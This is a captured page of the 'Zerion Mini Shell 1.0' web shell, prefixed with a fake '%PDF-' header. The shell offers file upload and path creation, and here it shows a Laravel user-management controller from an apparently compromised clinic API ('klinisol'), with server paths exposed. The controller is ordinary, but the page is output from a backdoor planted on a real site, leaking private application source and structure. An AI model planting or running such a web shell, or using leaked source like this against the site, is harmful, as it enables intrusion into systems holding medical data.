%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/UserController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\User\ChangePasswordRequest;
use App\Http\Requests\Api\v1\User\CreateUserRequest;
use App\Http\Requests\Api\v1\User\UpdateUserRequest;
use App\Models\Role;
use App\Models\User;
use App\Transformers\RoleTransformer;
use App\Transformers\UserTransformer;
use Illuminate\Http\Request;
use Illuminate\Pagination\LengthAwarePaginator;

class UserController extends ApiController
{
    public function index(Request $request)
    {
        $result = $this->filterUsers($request)
                       ->paginate($request->get('perPage'));
        return $this->withPaginated($result, new UserTransformer());
    }

    /**
     * @param Request $request
     * @return \Illuminate\Database\Eloquent\Builder
     */
    private function filterUsers(Request $request)
    {
        $result = User::query()
                      ->whereHas('roles', function ($q) {
                          $q->whereIn('name', [
                              'admin',
                          ]);
                      });

        if ($name = $request->get('name')) {
            $result = $result->where('name', 'like', "$name%");
        }
        if ($surname = $request->get('surname')) {
            $result = $result->where('surname', 'like', "$surname%");
        }
        if ($email = $request->get('email')) {
            $result = $result->where('email', 'like', "$email%");
        }
        return $result;
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function show($id)
    {
        $user = User::query()
                    ->find($id);
        return $this->item($user, new UserTransformer());
    }

    /**
     * @param CreateUserRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function store(CreateUserRequest $request)
    {
        /** @var User $user */
        $user = User::query()
                    ->create([
                        'name'     => $request->get('name'),
                        'surname'  => $request->get('surname'),
                        'email'    => $request->get('email'),
                        'password' => $request->get('password'),
                    ]);
        $role = Role::findByName(Role::ADMIN);
        $user->roles()
             ->attach($role);
        return $this->item($user, new UserTransformer());
    }

    /**
     * @param UpdateUserRequest $request
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function update(UpdateUserRequest $request, $id)
    {
        $user = User::query()
                    ->findOrFail($id);
        $user->update($request->only(['name', 'surname']));
        return $this->item($user, new UserTransformer());
    }

    /**
     * @param $id
     * @return array|\Illuminate\Http\JsonResponse
     */
    public function destroy($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        try {
            $user->delete();
        } catch (\Exception $e) {
            return $this->wrongArguments([
                'message' => 'Not possible to delete this user for the moment, please contact your system admin!',
            ]);
        }
        return [];
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function enable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->enable();
        return $this->item($user, new UserTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function disable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->disable();
        return $this->item($user, new UserTransformer());
    }

    /**
     * @param ChangePasswordRequest $request
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function updatePassword(ChangePasswordRequest $request, $id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->updatePassword($request->get('password'));
        return $this->item($user, new UserTransformer());
    }

    /**
     * @return \Illuminate\Http\JsonResponse
     */
    public function getRoles()
    {
        return $this->collection(Role::query()
                                     ->whereIn('name', [
                                         'admin',
                                         'doctor',
                                     ])
                                     ->get(), new RoleTransformer());
    }
}

Zerion Mini Shell 1.0